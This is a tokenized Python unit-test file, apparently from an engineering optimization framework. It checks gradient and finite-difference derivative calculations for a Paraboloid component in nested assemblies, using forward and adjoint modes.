"10", ";", "--------------", "----------", "\\", "10", ";\\\\", "[\\\\", "[", " ", " ", "5", ".", " ", " ", "21.", "\\\\]", "\\\\]", "\\", "10", ";", "--------------", "----------", "\\", "10", ";", "Fini", "te", " ", "Difference", " ", "Compari", "son", "\\", "10", ";", "--------------", "----------", "\\", "10", ";\\\\", "[\\\\", "[", " ", " ", "5", ".", "[", "0", "-", "9", "]+", "[", " ", "]+", "21.", "[", "0", "-", "9", "]+\\\\", "]\\\\", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", "Calculat", "ed", " ", " ", " ", " ", " ", "Fini", "te", "Diff", " ", " ", " ", " ", " ", "Rel", "Error", "[", "^", "\\\\", "n", "]+", "\\", "10", ";", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "\\", "10", ";", "comp", ".", "f", "\\u", "xy", " ", "/", " ", "comp", ".", "x", ":", " ", "5.0", " ", " ", " ", " ", "5", ".", "[", "0", "-", "9", "]+", "[", " ", "]+", "[", "^", "\\\\", "n", "]+", "\\", "10", ";", "comp", ".", "f", "\\u", "xy", " ", "/", " ", "comp", ".", "y", ":", " ", "21.", "0", " ", " ", " ", "21.", "[", "0", "-", "9", "]+", "[", " ", "]+", "[", "^", "\\\\", "n", "]+", "\\", "10", ";", "\\", "10", ";", "Average", " ", "Rel", "Error", ":", " ", "[", "^", "\\\\", "n", "]+", "\\", "10", ";", "Max", " ", "Rel", "Error", ":", " ", "[", "^", " ", "]+", " ", "for", " ", "comp", ".", "f", "\\u", "xy", " ", "/", " ", "comp", ".", "x", "\\", "10", ";", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stream_", "=_", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "driver_", "._", "check", "\\u", "gradient_", "(_", "outputs_", "=_", "(_", "'", "comp", ".", "f", "\\u", "xy", "'_", ",_", ")_", ",_", "stream_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "actual_", "=_", "stream_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "re_", "._", "match_", "(_", "expected_", ",_", "actual_", ")_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Expect", "ed", ":\\\\", "n", "%", "s", "'_", "%_", "expected_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Actual", ":\\\\", "n", "%", "s", "'_", "%_", "actual_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail_", "(_", "\"", "check", "\\u", "gradi", "ent", "()", " ", "output", " ", "doe", "sn", "'", "t", " ", "match", " ", "expected", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "stream_", "=_", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "check", "\\u", "gradient_", "(_", "outputs_", "=_", "[_", "'", "comp", ".", "f", "\\u", "xy", "'_", "]_", ",_", "stream_", "=_", "stream_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "inputs_", "=_", "[_", "'", "comp", ".", "x", "'_", ",_", "'", "comp", ".", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "actual_", "=_", "stream_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "re_", "._", "match_", "(_", "expected_", ",_", "actual_", ")_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Expect", "ed", ":\\\\", "n", "%", "s", "'_", "%_", "expected_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Actual", ":\\\\", "n", "%", "s", "'_", "%_", "actual_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail_", "(_", "\"", "check", "\\u", "gradi", "ent", "()", " ", "output", " ", "doe", "sn", "'", "t", " ", "match", " ", "expected", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "stream_", "=_", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "check", "\\u", "gradient_", "(_", "inputs_", "=_", "(_", "'", "comp", ".", "x", "'_", ",_", "'", "comp", ".", "y", "'_", ")_", ",_", "outputs_", "=_", "(_", "'", "comp", ".", "f", "\\u", "xy", "'_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stream_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "actual_", "=_", "stream_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "re_", "._", "match_", "(_", "expected_", ",_", "actual_", ")_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Expect", "ed", ":\\\\", "n", "%", "s", "'_", "%_", "expected_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Actual", ":\\\\", "n", "%", "s", "'_", "%_", "actual_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail_", "(_", "\"", "check", "\\u", "gradi", "ent", "()", " ", "output", " ", "doe", "sn", "'", "t", " ", "match", " ", "expected", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "stream_", "=_", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "check", "\\u", "gradient_", "(_", "name_", "=_", "'", "driver", "'_", ",_", "outputs_", "=_", "[_", "'", "comp", ".", "f", "\\u", "xy", "'_", "]_", ",_", "stream_", "=_", "stream_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "inputs_", "=_", "[_", "'", "comp", ".", "x", "'_", ",_", "'", "comp", ".", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "actual_", "=_", "stream_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "re_", "._", "match_", "(_", "expected_", ",_", "actual_", ")_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Expect", "ed", ":\\\\", "n", "%", "s", "'_", "%_", "expected_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Actual", ":\\\\", "n", "%", "s", "'_", "%_", "actual_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail_", "(_", "\"", "check", "\\u", "gradi", "ent", "()", " ", "output", " ", "doe", "sn", "'", "t", " ", "match", " ", "expected", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "stream_", "=_", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "check", "\\u", "gradient_", "(_", "name_", "=_", "'", "comp", "'_", ",_", "stream_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "actual_", "=_", "stream_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "re_", "._", "match_", "(_", "expected_", ",_", "actual_", ")_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Expect", "ed", ":\\\\", "n", "%", "s", "'_", "%_", "expected_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Actual", ":\\\\", "n", "%", "s", "'_", "%_", "actual_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail_", "(_", "\"", "check", "\\u", "gradi", "ent", "()", " ", "output", " ", "doe", "sn", "'", "t", " ", "match", " ", "expected", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "stream_", "=_", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "comp_", "._", "check", "\\u", "gradient_", "(_", "stream_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "actual_", "=_", "stream_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "re_", "._", "match_", "(_", "expected_", ",_", "actual_", ")_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Expect", "ed", ":\\\\", "n", "%", "s", "'_", "%_", "expected_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Actual", ":\\\\", "n", "%", "s", "'_", "%_", "actual_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail_", "(_", "\"", "check", "\\u", "gradi", "ent", "()", " ", "output", " ", "doe", "sn", "'", "t", " ", "match", " ", "expected", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "stream_", "=_", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comp_", "=_", "Para", "bolo", "id_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comp_", "._", "x_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comp_", "._", "y_", "=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "J", "base_", ",_", "J_", ",_", "io", "\\u", "pairs_", ",_", "suspe", "cts_", "=_", "comp_", "._", "check", "\\u", "gradient_", "(_", "stream_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "actual_", "=_", "stream_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "re_", "._", "match_", "(_", "expected_", ",_", "actual_", ")_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Expect", "ed", ":\\\\", "n", "%", "s", "'_", "%_", "expected_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Actual", ":\\\\", "n", "%", "s", "'_", "%_", "actual_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail_", "(_", "\"", "check", "\\u", "gradi", "ent", "()", " ", "output", " ", "doe", "sn", "'", "t", " ", "match", " ", "expected", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "now", " ", "do", " ", "it", " ", "again", " ", "to", " ", "make", " ", "sure", " ", "name", " ", "and", " ", "parent", " ", "wer", "e", " ", "proper", "ly", " ", "reset_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "J", "base_", ",_", "J_", ",_", "io", "\\u", "pairs_", ",_", "suspe", "cts_", "=_", "comp_", "._", "check", "\\u", "gradient_", "(_", "stream_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "actual_", "=_", "stream_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "re_", "._", "match_", "(_", "expected_", ",_", "actual_", ")_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Expect", "ed", ":\\\\", "n", "%", "s", "'_", "%_", "expected_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Actual", ":\\\\", "n", "%", "s", "'_", "%_", "actual_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail_", "(_", "\"", "check", "\\u", "gradi", "ent", "()", " ", "output", " ", "doe", "sn", "'", "t", " ", "match", " ", "expected", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "case", "\\u", "derivatives", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "nested_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "top_", "=_", "set\\u", "as", "\\u", "top_", "(_", "Asse", "mbly", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "add_", "(_", "'", "nest", "'_", ",_", "Asse", "mbly", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "nest_", "._", "add_", "(_", "'", "comp", "'_", ",_", "Para", "bolo", "id_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "shou", "ld", "n", "'", "t", " ", "calcul", "ate", " ", "a", " ", "deriv", "ative", " ", "of", " ", "this_", "\\u\\u\\uNL\\u\\u\\u_", "top_", "._", "nest_", "._", "comp_", "._", "add_", "(_", "'", "unwa", "nte", "d", "'_", ",_", "Float_", "(_", "12.3", "4_", ",_", "iot", "ype_", "=_", "'", "in", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "nest_", "._", "comp_", "._", "add_", "(_", "'", "junk", "'_", ",_", "Float_", "(_", "9.9", "_", ",_", "iot", "ype_", "=_", "'", "out", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "top_", "._", "driver_", "._", "workflow_", "._", "add_", "(_", "[_", "'", "nest", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "nest_", "._", "driver_", "._", "workflow_", "._", "add_", "(_", "[_", "'", "comp", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "nest_", "._", "create", "\\u", "passthrough", "_", "(_", "'", "comp", ".", "x", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "nest_", "._", "create", "\\u", "passthrough", "_", "(_", "'", "comp", ".", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "nest_", "._", "create", "\\u", "passthrough", "_", "(_", "'", "comp", ".", "unwa", "nte", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "nest_", "._", "create", "\\u", "passthrough", "_", "(_", "'", "comp", ".", "f", "\\u", "xy", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "nest_", "._", "x_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "nest_", "._", "y_", "=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "No", "w", " ", "we", " ", "need", " ", "to", " ", "set", " ", "a", " ", "deriv", " ", "policy", " ", "to", " ", "prevent", " ", "squa", "wk", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "abo", "ut", " ", "missi", "ng", " ", "der", "iati", "ves", "._", "\\u\\u\\uNL\\u\\u\\u_", "top_", "._", "nest_", "._", "comp_", "._", "missi", "ng", "\\u", "deriv", "\\u", "policy_", "=_", "'", "assume", "\\u", "zero", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "x", "'_", ",_", "'", "nest", ".", "y", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "f", "\\u", "xy", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "5.0_", ",_", "0.0001_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "1_", "]_", ",_", "21.", "0_", ",_", "0.0001_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "x", "'_", ",_", "'", "nest", ".", "y", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "f", "\\u", "xy", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "adjoint", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "5.0_", ",_", "0.0001_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "1_", "]_", ",_", "21.", "0_", ",_", "0.0001_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "No", "w", ",", " ", "let", "'", "s", " ", "find", " ", "the", " ", "deriv", "ative", " ", "of", " ", "the", " ", "uncon", "nect", "ed", ".", " ", "Behavio", "ur", " ", "depends_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "on", " ", "deriv", " ", "policy", "._", "\\u\\u\\uNL\\u\\u\\u_", "top_", "._", "nest_", "._", "add_", "(_", "'", "stu", "ff", "'_", ",_", "Float_", "(_", "1.0_", ",_", "iot", "ype_", "=_", "'", "in", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "nest_", "._", "add_", "(_", "'", "junk", "'_", ",_", "Float_", "(_", "1.0_", ",_", "iot", "ype_", "=_", "'", "out", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "add_", "(_", "'", "first", "'_", ",_", "Para", "bolo", "id_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "add_", "(_", "'", "last", "'_", ",_", "Para", "bolo", "id_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "connect_", "(_", "'", "first", ".", "f", "\\u", "xy", "'_", ",_", "'", "nest", ".", "stu", "ff", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "connect_", "(_", "'", "nest", ".", "junk", "'_", ",_", "'", "last", ".", "x", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "driver_", "._", "workflow_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "driver_", "._", "workflow_", "._", "add_", "(_", "[_", "'", "first", "'_", ",_", "'", "nest", "'_", ",_", "'", "last", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "top_", "._", "nest_", "._", "comp_", "._", "missi", "ng", "\\u", "deriv", "\\u", "policy_", "=_", "'", "assume", "\\u", "zero", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "x", "'_", ",_", "'", "first", ".", "x", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "f", "\\u", "xy", "'_", ",_", "'", "last", ".", "f", "\\u", "xy", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "top_", "._", "nest_", "._", "missi", "ng", "\\u", "deriv", "\\u", "policy_", "=_", "'", "assume", "\\u", "zero", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "x", "'_", ",_", "'", "first", ".", "x", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "f", "\\u", "xy", "'_", ",_", "'", "last", ".", "f", "\\u", "xy", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "5.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "1_", "]_", ",_", "0.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "1_", ",_", "0_", "]_", ",_", "0.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "1_", ",_", "1_", "]_", ",_", "0.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "top_", "._", "nest_", "._", "missi", "ng", "\\u", "deriv", "\\u", "policy_", "=_", "'", "error", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "first", ".", "x", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "last", ".", "f", "\\u", "xy", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "top_", "._", "nest_", "._", "missi", "ng", "\\u", "deriv", "\\u", "policy_", "=_", "'", "assume", "\\u", "zero", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "first", ".", "x", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "last", ".", "f", "\\u", "xy", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "0.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "x", "'_", ",_", "'", "nest", ".", "stu", "ff", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "f", "\\u", "xy", "'_", ",_", "'", "nest", ".", "junk", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "5.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "1_", "]_", ",_", "0.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "1_", ",_", "0_", "]_", ",_", "0.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "1_", ",_", "1_", "]_", ",_", "0.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "stu", "ff", "'_", ",_", "'", "nest", ".", "x", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "junk", "'_", ",_", "'", "nest", ".", "f", "\\u", "xy", "'_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "0.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "1_", "]_", ",_", "0.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "1_", ",_", "0_", "]_", ",_", "0.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "1_", ",_", "1_", "]_", ",_", "5.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "stu", "ff", "'_", ",_", "'", "nest", ".", "x", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "junk", "'_", ",_", "'", "nest", ".", "f", "\\u", "xy", "'_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "adjoint", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "0.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "1_", "]_", ",_", "0.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "1_", ",_", "0_", "]_", ",_", "0.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "1_", ",_", "1_", "]_", ",_", "5.0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "nest", ".", "stu", "ff", "'_", ",_", "'", "nest", ".", "x", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "nest", ".", "f", "\\u", "xy", "'_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "adjoint", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "0.0_", ",_", ".00", "1_", ")_", 